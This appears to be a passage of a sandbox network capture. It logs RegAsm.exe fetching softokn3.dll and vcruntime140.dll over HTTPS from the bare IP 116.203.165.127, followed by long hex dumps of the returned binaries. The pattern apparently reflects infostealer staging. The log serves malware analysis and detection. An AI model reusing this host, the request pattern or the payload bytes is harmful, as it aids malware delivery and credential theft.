2024-09-21 11:35:11 UTC	16384	IN	Data Raw: d9 00 0f bf 45 fc d9 5d e8 d9 45 10 d9 45 e8 d9 c0 89 45 f4 de ea d9 c9 d9 5d e8 d9 45 e8 d9 55 10 d9 ee da e9 df e0 f6 c4 44 7b 05 dd d8 d9 45 10 8d 45 ec 50 8d 45 f8 50 d9 5d ec e8 fc fa ff ff 59 59 3b f3 0f 8c aa fd ff ff eb 10 8d 4e 01 d9 1c b7 3b cb 7d 06 d9 ee d9 5c b7 04 5e 8b c7 5f 5b c9 c3 55 8b ec 51 56 33 f6 39 75 14 7e 37 d9 ee 57 8b 7d 10 d9 04 b7 d9 5d fc d9 45 fc dd e1 df e0 dd d9 f6 c4 44 7b 1a 51 d9 1c 24 ff 75 0c ff 75 08 e8 97 fc ff ff d9 ee 83 c4 0c 46 3b 75 14 7c d2 dd d8 5f 8b 45 08 5e c9 c3 55 8b ec 51 51 8b 4d 0c 85 c9 75 04 d9 ee c9 c3 8b 55 08 83 f9 01 0f 84 9d 00 00 00 d9 02 d9 5d fc d9 45 fc d9 ee dd e1 df e0 f6 c4 44 0f 8b 82 00 00 00 d9 42 04 d9 5d fc d9 45 fc dd e1 df e0 f6 c4 44 7b 6e 83 f9 02 74 5d d9 42 08 d9 5d fc d9 45 Data Ascii: E]EEE]EUD{EEPEP]YY;N;}\^_[UQV39u~7W}]ED{Q$uuF;u\|_E^UQQMuU]EDB]ED{nt]B]E
2024-09-21 11:35:11 UTC	16384	IN	Data Raw: 03 f7 0f b7 06 83 f8 61 74 05 83 f8 41 75 0f 03 f7 0f b7 06 66 3b c1 74 0e 66 3b c2 74 09 8b 45 08 33 db 8b 30 eb 43 03 f7 6a 04 5b 89 75 f8 66 83 3e 28 89 5d f4 75 32 8b de 03 df 68 07 01 00 00 0f b7 03 50 ff 15 ac 72 06 10 59 59 85 c0 75 e9 0f b7 03 83 f8 5f 74 e1 89 5d f8 8b 5d f4 83 f8 29 75 06 8b 75 f8 83 c6 02 8b 45 0c 85 c0 74 02 89 30 8b 45 08 5f 89 30 8b c3 5e 5b c9 c3 55 8b ec 83 ec 48 a1 c0 41 06 10 33 c5 89 45 fc 6b 4d 18 07 33 d2 8b 45 10 53 8b 5d 14 56 8b 75 0c 89 75 d0 89 45 b8 89 55 bc 89 55 c4 89 55 c0 89 4d cc 57 8b fa 83 f9 23 7e 06 6a 23 59 89 4d cc 6a 30 58 89 13 89 53 04 66 39 06 75 12 c7 45 c4 01 00 00 00 83 c6 02 66 39 06 74 f8 89 75 d0 0f b7 0e b8 b8 2d 00 10 89 4d c8 8b 4d cc c7 45 d4 16 00 00 00 8b 75 c8 66 39 30 8b 75 d0 74 0b Data Ascii: atAuf;tf;tE30Cj[uf>(]u2hPrYYu_t]])uuEt0E_0^[UHA3EkM3ES]VuuEUUUMW#~j#YMj0XSf9uEf9tu-MMEuf90ut
2024-09-21 11:35:11 UTC	16384	IN	Data Raw: c0 75 03 8d 41 1c c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 09 e7 03 10 64 a1 00 00 00 00 50 a1 c0 41 06 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 e8 79 7b 00 00 50 e8 71 d8 ff ff 59 8b 40 0c 8b 4d f4 64 89 0d 00 00 00 00 59 c9 c3 cc cc 55 8b ec 83 79 38 00 8b 45 08 75 03 83 c8 04 ff 75 0c 50 e8 28 00 00 00 5d c2 08 00 cc cc cc cc 55 8b ec 6a 00 ff 75 08 e8 13 00 00 00 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 08 83 ec 1c 83 e0 17 89 41 0c 8b 49 10 56 23 c8 74 43 80 7d 0c 00 75 42 f6 c1 04 74 07 be 78 54 00 10 eb 0f be 90 54 00 10 f6 c1 02 75 05 be a8 54 00 10 8d 45 f8 6a 01 50 e8 f7 13 00 00 59 59 50 56 8d 4d e4 e8 bc e2 ff ff 68 a4 1a 04 10 8d 45 e4 50 eb 09 5e c9 c2 08 00 6a 00 6a 00 e8 f0 93 02 00 cc Data Ascii: uAUjhdPA3PEdy{PqY@MdYUy8EuuP(]Uju]UEAIV#tC}uBtxTTuTEjPYYPVMhEP^jj
2024-09-21 11:35:11 UTC	16384	IN	Data Raw: 51 56 89 45 fc 89 5f 10 e8 bd 54 02 00 8b 45 f8 83 c4 10 c6 04 1e 00 83 f8 10 72 0b 40 50 ff 37 e8 54 95 ff ff 59 59 89 37 8b c7 5f 5e 5b c9 c2 0c 00 e8 b3 be ff ff cc 55 8b ec 83 ec 0c 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d fc 3b c2 72 69 8b 43 14 8d 3c 11 57 8b cb 89 45 f4 e8 88 b1 ff ff 8b f0 8d 4e 01 51 e8 b2 94 ff ff 59 ff 75 18 89 7b 10 8d 4d 0c ff 75 14 8b 7d f4 89 45 f8 89 73 14 ff 75 10 ff 75 fc 83 ff 10 72 17 8b 33 56 50 e8 6b 03 00 00 8d 47 01 50 56 e8 d2 94 ff ff 59 59 eb 07 53 50 e8 56 03 00 00 8b 45 f8 5f 89 03 8b c3 5e 5b c9 c2 14 00 e8 25 be ff ff cc 55 8b ec 83 ec 10 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d f0 3b c2 0f 82 8f 00 00 00 8b 43 14 8d 3c 11 57 8b cb 89 45 fc e8 f6 b0 ff ff 8b f0 8d 4e 01 Data Ascii: QVE_TEr@P7TYY7_^[UUSVWK+M;riC<WENQYu{Mu}Esuur3VPkGPVYYSPVE_^[%UUSVWK+M;C<WEN
2024-09-21 11:35:11 UTC	16384	IN	Data Raw: 83 fe 01 75 04 3b d7 74 3a 8b 5d 08 6a 04 59 89 4d d4 53 33 c0 03 04 cb 52 13 7c cb 04 56 57 50 e8 f1 02 02 00 5b 8b 5d 08 8b f9 8b 4d d4 8b 75 d8 89 54 cb 04 8b 55 e8 89 04 cb 83 e9 01 89 4d d4 79 cf 5f 5e 5b c9 c3 55 8b ec 51 56 8b 75 14 33 d2 85 f6 7e 5f 53 8b 5d 08 29 5d 10 57 8b fb 89 75 fc 8b 5d 10 8b 0c 3b 03 0f 8b 44 3b 04 13 47 04 03 ca 89 0f 8d 7f 08 83 d0 00 8b d0 89 57 fc 83 67 fc 00 83 ee 01 75 dc 0b c6 8b 5d 08 74 22 8b 4d fc 3b 4d 0c 7d 1a 01 14 cb 8b 54 cb 04 13 d6 33 f6 89 54 cb 04 8b c2 21 74 cb 04 41 0b c6 75 e1 5f 5b 5e c9 c3 55 8b ec 8b 55 08 56 8b 75 0c 83 c2 f8 8d 14 f2 8b 02 0b 42 04 75 0b 8d 52 f8 4e 8b 0a 0b 4a 04 74 f5 8b c6 5e 5d c3 55 8b ec 53 56 33 db 33 f6 39 5d 0c 7e 30 57 8b 7d 08 ff 75 14 ff 75 10 ff 74 f7 04 ff 34 f7 e8 Data Ascii: u;t:]jYMS3R\|VWP[]MuTUMy_^[UQVu3~_S])]Wu];D;GWgu]t"M;M}T3T!tAu_[^UUVuBuRNJt^]USV339]~0W}uut4
2024-09-21 11:35:11 UTC	16384	IN	Data Raw: cc cc cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 7c 69 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 e8 65 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 56 8b f1 ff 76 0c c7 06 4c 68 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 56 8b f1 ff 76 0c c7 06 8c 66 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc 56 8b f1 c7 06 50 69 00 10 e8 e2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 c7 06 90 67 00 10 e8 c2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 ff 76 08 c7 06 7c Data Ascii: UQEVuF\|ifrjFqY^UQEVuFefrjFqY^VvLhqY(R^VvfqY(R^VPiq(R^Vgq(R^Vv\|
2024-09-21 11:35:11 UTC	16384	IN	Data Raw: e8 97 73 00 00 84 c0 0f 85 d3 00 00 00 8b 5d ec 80 7f 04 00 75 07 8b cf e8 85 26 00 00 0f b7 47 06 50 ff b5 74 ff ff ff e8 9a a8 ff ff 59 59 83 f8 0a 73 3c 8a 80 2c 6a 00 10 8b 4d 8c 88 85 64 ff ff ff ff b5 64 ff ff ff e8 5f 18 ff ff 8b 4d d8 8d 45 d8 83 fb 10 72 02 8b c1 80 3c 30 7f 74 4c 8d 45 d8 83 fb 10 72 02 8b c1 fe 04 30 eb 3a 8d 45 d8 83 fb 10 72 03 8b 45 d8 80 3c 30 00 74 45 80 7f 04 00 0f b7 47 06 75 0b 8b cf e8 10 26 00 00 0f b7 47 06 66 3b 85 60 ff ff ff 75 27 6a 00 8d 4d d8 e8 04 18 ff ff 46 8b 5d ec 8b cf e8 24 11 00 00 ff 75 98 8b cf e8 de 72 00 00 84 c0 0f 84 4a ff ff ff 8b 5d 90 85 f6 74 13 83 7d ec 10 8d 45 d8 72 03 8b 45 d8 80 3c 30 00 7e 52 46 8a 45 a7 83 7d d4 10 8d 55 c0 72 03 8b 55 c0 84 c0 75 49 85 f6 74 5e 8a 0a 80 f9 7f 74 57 83 Data Ascii: s]u&GPtYYs<,jMdd_MEr<0tLEr0:ErE<0tEGu&Gf;`u'jMF]$urJ]t}ErE<0~RFE}UrUuIt^tW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.9	49779	116.203.165.127	443	5752	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:35:12 UTC	200	OUT	GET /softokn3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:35:12 UTC	262	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:35:12 GMT Content-Type: application/octet-stream Content-Length: 257872 Connection: close Last-Modified: Saturday, 21-Sep-2024 11:35:12 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-21 11:35:12 UTC	16122	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSw
2024-09-21 11:35:12 UTC	16384	IN	Data Raw: 08 c7 85 f0 fe ff ff 00 00 00 00 8d 85 ec fe ff ff 89 85 f4 fe ff ff c7 85 f8 fe ff ff 04 00 00 00 8d 85 f0 fe ff ff 6a 01 50 53 57 e8 85 af 00 00 83 c4 10 89 c6 85 c0 75 3f 8b 85 ec fe ff ff 83 c0 fd 83 f8 01 77 25 be 30 00 00 00 83 3d 28 9a 03 10 00 75 23 83 3d 50 90 03 10 00 74 0e be 01 01 00 00 f6 05 20 9a 03 10 01 74 0c 53 57 e8 e2 b9 00 00 83 c4 08 89 c6 83 3d 2c 9a 03 10 00 0f 84 5e ff ff ff 8b 85 ec fe ff ff 83 c0 fe 83 f8 02 0f 87 4c ff ff ff 56 53 57 68 85 6b 03 10 68 00 01 00 00 8d 85 f0 fe ff ff 50 ff 15 1c 7c 03 10 83 c4 18 e9 2a ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 14 90 03 10 31 e8 89 45 f0 c7 85 ec fe ff ff 00 00 00 00 be 30 00 00 00 83 3d 28 9a 03 10 00 74 17 8b 4d f0 31 e9 e8 28 8b 02 00 89 Data Ascii: jPSWu?w%0=(u#=Pt tSW=,^LVSWhkhP\|*USWV1E0=(tM1(
2024-09-21 11:35:12 UTC	16384	IN	Data Raw: 40 04 03 45 dc 56 8d 4d ec 51 50 57 e8 55 9e ff ff 83 c4 10 85 c0 0f 85 6b 03 00 00 57 e8 c4 9d ff ff 83 c4 04 ff 75 e8 53 57 e8 f7 9d ff ff 83 c4 0c ff 75 e8 8d 45 e8 50 53 57 e8 26 9e ff ff 83 c4 10 85 c0 0f 85 3c 03 00 00 8b 4d c8 83 c1 01 8b 75 e4 8b 45 dc 01 f0 3b 4d c0 0f 85 6c ff ff ff 31 f6 e9 20 03 00 00 31 f6 ff 35 30 9a 03 10 ff 15 f0 7b 03 10 83 c4 04 a1 34 9a 03 10 85 c0 74 15 6a 01 50 e8 57 4e 02 00 83 c4 08 c7 05 34 9a 03 10 00 00 00 00 a1 38 9a 03 10 85 c0 74 15 6a 01 50 e8 39 4e 02 00 83 c4 08 c7 05 38 9a 03 10 00 00 00 00 a1 3c 9a 03 10 85 c0 74 15 6a 01 50 e8 1b 4e 02 00 83 c4 08 c7 05 3c 9a 03 10 00 00 00 00 56 e8 e8 4d 02 00 83 c4 04 a3 34 9a 03 10 8b 47 38 a3 40 9a 03 10 8b 47 28 a3 44 9a 03 10 8b 47 2c a3 48 9a 03 10 8d 47 04 50 e8 Data Ascii: @EVMQPWUkWuSWuEPSW&<MuE;Ml1 150{4tjPWN48tjP9N8<tjPN<VM4G8@G(DG,HGP
2024-09-21 11:35:12 UTC	16384	IN	Data Raw: 02 10 88 41 02 0f b6 41 03 d1 e8 8a 80 68 f9 02 10 88 41 03 0f b6 41 04 d1 e8 8a 80 68 f9 02 10 88 41 04 0f b6 41 05 d1 e8 8a 80 68 f9 02 10 88 41 05 0f b6 41 06 d1 e8 8a 80 68 f9 02 10 88 41 06 0f b6 41 07 d1 e8 8a 80 68 f9 02 10 88 41 07 ba 01 01 01 01 8b 31 31 d6 33 51 04 b8 01 00 00 00 09 f2 0f 84 37 01 00 00 ba 1f 1f 1f 1f 33 11 be 0e 0e 0e 0e 33 71 04 09 d6 0f 84 20 01 00 00 ba e0 e0 e0 e0 33 11 be f1 f1 f1 f1 33 71 04 09 d6 0f 84 09 01 00 00 ba fe fe fe fe 8b 31 31 d6 33 51 04 09 f2 0f 84 f5 00 00 00 ba 01 fe 01 fe 8b 31 31 d6 33 51 04 09 f2 0f 84 e1 00 00 00 ba fe 01 fe 01 8b 31 31 d6 33 51 04 09 f2 0f 84 cd 00 00 00 ba 1f e0 1f e0 33 11 be 0e f1 0e f1 33 71 04 09 d6 0f 84 b6 00 00 00 ba e0 1f e0 1f 33 11 be f1 0e f1 0e 33 71 04 09 d6 0f 84 9f 00 Data Ascii: AAhAAhAAhAAhAAhA113Q733q 33q113Q113Q113Q33q33q
2024-09-21 11:35:12 UTC	16384	IN	Data Raw: c0 0f 84 30 07 00 00 83 7b 08 14 0f 84 43 01 00 00 e9 21 07 00 00 3d 50 06 00 00 0f 8f aa 01 00 00 3d 51 05 00 00 74 2d 3d 52 05 00 00 74 12 3d 55 05 00 00 0f 85 0a 07 00 00 c7 47 0c 01 00 00 00 83 7b 04 00 0f 84 ec 06 00 00 83 7b 08 10 0f 85 e2 06 00 00 c7 47 18 10 00 00 00 83 7c 24 24 25 0f 85 fb 07 00 00 6a 11 ff 74 24 30 e8 44 c7 00 00 83 c4 08 85 c0 0f 84 78 09 00 00 89 c7 31 c0 81 3b 51 05 00 00 0f 95 c0 ff 77 1c 8b 4d 20 51 50 ff 73 04 ff 77 18 e8 09 1e ff ff 83 c4 14 8b 4c 24 28 89 41 64 57 e8 a9 c6 00 00 83 c4 04 8b 44 24 28 83 78 64 00 0f 84 bf 08 00 00 83 7d 20 00 b9 60 2a 00 10 ba 20 2a 00 10 0f 44 d1 89 50 74 c7 80 84 00 00 00 e0 29 00 10 e9 eb 08 00 00 3d 09 21 00 00 0f 8e 1c 02 00 00 3d 0a 21 00 00 0f 84 08 02 00 00 3d 0b 21 00 00 0f 84 23 Data Ascii: 0{C!=P=Qt-=Rt=UG{{G\|$$%jt$0Dx1;QwM QPswL$(AdWD$(xd} `* *DPt)=!=!=!#
2024-09-21 11:35:12 UTC	16384	IN	Data Raw: 5f 5b 5d c3 cc cc 55 89 e5 53 57 56 83 ec 10 a1 14 90 03 10 31 e8 89 45 f0 ff 75 08 e8 35 ab 00 00 83 c4 04 85 c0 74 5f 89 c6 8b 78 38 bb 91 00 00 00 85 ff 74 56 83 3f 03 75 51 8b 4d 18 8b 47 04 83 7d 14 00 74 59 8b 5d 0c 85 c0 74 64 89 ce 8b 4d 08 89 da 6a 03 ff 75 10 e8 47 fa ff ff 83 c4 08 89 c3 85 c0 75 24 56 ff 75 14 ff 75 08 e8 72 fd ff ff 83 c4 0c 89 c6 8b 4d f0 31 e9 e8 a3 8b 01 00 89 f0 eb 11 bb b3 00 00 00 8b 4d f0 31 e9 e8 90 8b 01 00 89 d8 83 c4 10 5e 5f 5b 5d c3 85 c0 74 06 83 7f 68 00 74 5a 81 c7 90 00 00 00 eb 55 8b 01 89 45 e8 8b 47 64 89 45 e4 8b 4f 74 ff 15 00 a0 03 10 8d 45 ec ff 75 10 53 ff 75 e8 50 ff 75 14 ff 75 e4 ff d1 83 c4 18 85 c0 74 32 e8 a1 8d 01 00 50 e8 eb 84 00 00 83 c4 04 8b 55 ec 8b 4d 18 89 11 bb 50 01 00 00 3d 50 01 00 Data Ascii: _[]USWV1Eu5t_x8tV?uQMG}tY]tdMjuGu$VuurM1M1^_[]thtZUEGdEOtEuSuPuut2PUMP=P
2024-09-21 11:35:12 UTC	16384	IN	Data Raw: 77 8b 75 20 85 f6 7e 7a 8b 7d 1c 83 c7 08 c7 45 d8 00 00 00 00 c7 45 d4 04 00 00 00 eb 18 0f 1f 84 00 00 00 00 00 8b 47 fc 8b 00 89 45 d8 83 c7 0c 83 c6 ff 74 5a 8b 47 f8 85 c0 74 19 3d 61 01 00 00 74 e2 8b 4f fc eb 15 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 8b 4f fc 8b 11 89 55 d4 ff 37 51 50 ff 75 dc e8 8c 53 00 00 83 c4 10 85 c0 74 bd 89 c3 e9 80 01 00 00 bf 02 00 00 00 e9 83 01 00 00 c7 45 d4 04 00 00 00 c7 45 d8 00 00 00 00 8b 45 10 8b 4d 0c 83 ec 1c 0f 28 05 40 fb 02 10 0f 11 44 24 0c 89 44 24 08 89 4c 24 04 8b 45 08 89 04 24 e8 fe 7c ff ff 83 c4 1c 85 c0 74 0c 89 c3 ff 75 dc e8 7d 5a 00 00 eb 3d 8b 7d 18 8b 5d 14 57 e8 8b 4d 01 00 83 c4 04 89 c6 89 7d ec 8d 45 ec 50 56 57 53 ff 75 08 e8 e8 9a ff ff 83 c4 14 85 c0 74 26 89 c3 ff 75 dc e8 47 5a 00 00 Data Ascii: wu ~z}EEGEtZGt=atOf.OU7QPuStEEEM(@D$D$L$E$\|tu}Z=}]WM}EPVWSut&uGZ
2024-09-21 11:35:12 UTC	16384	IN	Data Raw: 37 ff 75 08 e8 4d 2b 00 00 83 c4 04 85 c0 74 51 8b 48 38 b8 91 00 00 00 85 c9 74 4a 83 39 02 75 45 83 79 04 00 74 3f 8b 55 0c 8b 59 6c 83 c3 08 89 1f 31 c0 85 d2 74 2e b8 50 01 00 00 39 de 72 25 8b 01 89 02 8b 41 70 89 42 04 83 c2 08 ff 71 6c ff 71 64 52 e8 cc 0f 01 00 83 c4 0c 31 c0 eb 05 b8 b3 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 7d 10 a1 14 90 03 10 31 e8 89 45 f0 85 ff 0f 84 2d 01 00 00 8b 5d 0c 8b 33 ff 75 08 e8 b5 2a 00 00 83 c4 04 b9 b3 00 00 00 85 c0 0f 84 12 01 00 00 83 fe 0a 0f 87 f7 00 00 00 b9 78 06 00 00 0f a3 f1 73 12 8d 48 38 eb 1a 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 b9 83 01 00 00 0f a3 f1 73 e4 8d 48 34 8b 09 83 fe 0a 77 2f ba 78 06 00 00 0f a3 f2 73 12 83 c0 38 eb 1a 66 2e 0f 1f 84 00 Data Ascii: 7uM+tQH8tJ9uEyt?UYl1t.P9r%ApBqlqdR1^_[]USWV}1E-]3u*xsH8f.sH4w/xs8f.
2024-09-21 11:35:12 UTC	16384	IN	Data Raw: 40 00 00 5d c3 b8 00 00 08 00 5d c3 cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 ff 75 08 e8 c2 d8 ff ff 83 c4 04 85 c0 0f 84 9c 03 00 00 89 c6 c7 40 24 00 00 00 00 bf 02 00 00 00 83 78 0c 00 0f 88 54 03 00 00 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 8b 46 34 8b 5e 40 8d 4b 01 89 4e 40 50 ff 15 10 7c 03 10 83 c4 04 83 fb 2c 0f 8f 29 03 00 00 6b c3 54 8d 0c 06 83 c1 64 89 4c 06 5c c7 44 06 64 57 43 53 ce c7 44 06 60 04 00 00 00 c7 44 06 58 00 00 00 00 c7 44 06 54 00 00 00 00 0f 57 c0 0f 11 44 06 44 83 7e 0c 00 0f 88 ea 02 00 00 8d 1c 06 83 c3 44 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 69 4b 10 c5 90 c6 6a 8b 86 0c 0f 00 00 83 c0 ff 21 c8 8b 8c 86 10 0f 00 00 89 0b c7 43 04 00 00 00 00 8b 8c 86 10 0f 00 00 85 c9 74 03 89 59 04 89 9c 86 10 0f 00 00 ff 76 34 ff 15 Data Ascii: @]]USWVu@$xTv4{F4^@KN@P\|,)kTdL\DdWCSD`DXDTWDD~Dv4{iKj!CtYv4
2024-09-21 11:35:12 UTC	16384	IN	Data Raw: e4 89 c7 eb 02 31 ff 8b 4d f0 31 e9 e8 15 8c 00 00 89 f8 81 c4 3c 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 89 d6 89 cf 8b 5d 08 8b 4b 24 ff 15 00 a0 03 10 ff 75 14 ff 75 10 ff 75 0c 53 ff d1 83 c4 10 85 c0 75 1e 31 c0 39 5e 34 0f 94 c0 89 f9 89 f2 ff 75 14 ff 75 10 ff 75 0c 50 e8 1c 2b 00 00 83 c4 10 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 45 08 8b 0d 14 90 03 10 31 e9 89 4d f0 c7 45 ec 00 00 00 00 85 c0 74 63 8b 75 10 8b 58 34 85 db 74 5d 85 f6 74 5f 8b 4d 0c 8d 45 e8 8d 7d ec 89 f2 50 57 e8 8e 00 00 00 83 c4 08 85 c0 74 60 89 c7 8b 45 ec 89 45 e4 8b 4b 14 ff 15 00 a0 03 10 ff 75 14 56 57 53 8b 5d e4 ff d1 83 c4 10 89 c6 85 db 74 40 57 e8 96 8d 00 00 83 c4 04 ff 75 e8 53 e8 b4 8d 00 00 83 c4 08 eb 29 31 f6 eb 25 Data Ascii: 1M1<^_[]USWV]K$uuuSu19^4uuuP+^_[]USWVE1MEtcuX4t]t_ME}PWt`EEKuVWS]t@WuS)1%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.9	49780	116.203.165.127	443	5752	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:35:13 UTC	204	OUT	GET /vcruntime140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:35:15 UTC	261	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:35:14 GMT Content-Type: application/octet-stream Content-Length: 80880 Connection: close Last-Modified: Saturday, 21-Sep-2024 11:35:14 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-21 11:35:15 UTC	16123	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"
2024-09-21 11:35:15 UTC	16384	IN	Data Raw: 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 03 0f b6 42 03 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 6f 05 00 00 8b 46 04 3b 42 04 74 4f 0f b6 f8 0f b6 42 04 2b f8 75 18 0f b6 7e 05 0f b6 42 05 2b f8 75 0c 0f b6 7e 06 0f b6 42 06 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 07 0f b6 42 07 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 0e 05 00 00 8b 46 08 3b 42 08 74 4f 0f b6 f8 0f b6 42 08 2b f8 75 18 0f b6 7e 09 0f b6 42 09 2b f8 75 0c 0f b6 7e 0a 0f b6 42 0a 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 0b 0f b6 42 0b 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 ad 04 00 00 8b 46 0c Data Ascii: +t3MNB+t3E3oF;BtOB+u~B+u~B+t3MNB+t3E3F;BtOB+u~B+u~B+t3MNB+t3E3F
2024-09-21 11:35:15 UTC	16384	IN	Data Raw: 75 08 8b 45 94 a3 a4 f2 00 10 8d 45 cc 50 e8 39 08 00 00 59 6a 28 8d 4d 80 8b f0 e8 67 f3 ff ff 56 8d 4d f0 51 8b c8 e8 0a f7 ff ff 6a 29 8d 85 70 ff ff ff 50 8d 4d f0 e8 1b f7 ff ff 50 8d 4d f8 e8 78 f7 ff ff 81 7d dc 00 08 00 00 75 1a 8b c3 25 00 07 00 00 3d 00 02 00 00 74 0c 8d 45 98 50 8d 4d f8 e8 55 f7 ff ff a1 98 f2 00 10 c1 e8 13 f7 d0 a8 01 8d 45 cc 50 74 11 e8 92 2e 00 00 59 50 8d 4d f8 e8 34 f7 ff ff eb 0f e8 81 2e 00 00 59 50 8d 4d f8 e8 9f f8 ff ff 8d 45 cc 50 e8 69 23 00 00 59 50 8d 4d f8 e8 10 f7 ff ff a1 98 f2 00 10 c1 e8 08 f7 d0 a8 01 8d 45 cc 50 74 11 e8 30 3e 00 00 59 50 8d 4d f8 e8 ef f6 ff ff eb 0f e8 1f 3e 00 00 59 50 8d 4d f8 e8 5a f8 ff ff 8d 45 cc 50 e8 6a 19 00 00 59 50 8d 4d f8 e8 47 f8 ff ff a1 98 f2 00 10 c1 e8 02 f7 d0 a8 01 Data Ascii: uEEP9Yj(MgVMQj)pPMPMx}u%=tEPMUEPt.YPM4.YPMEPi#YPMEPt0>YPM>YPMZEPjYPMG
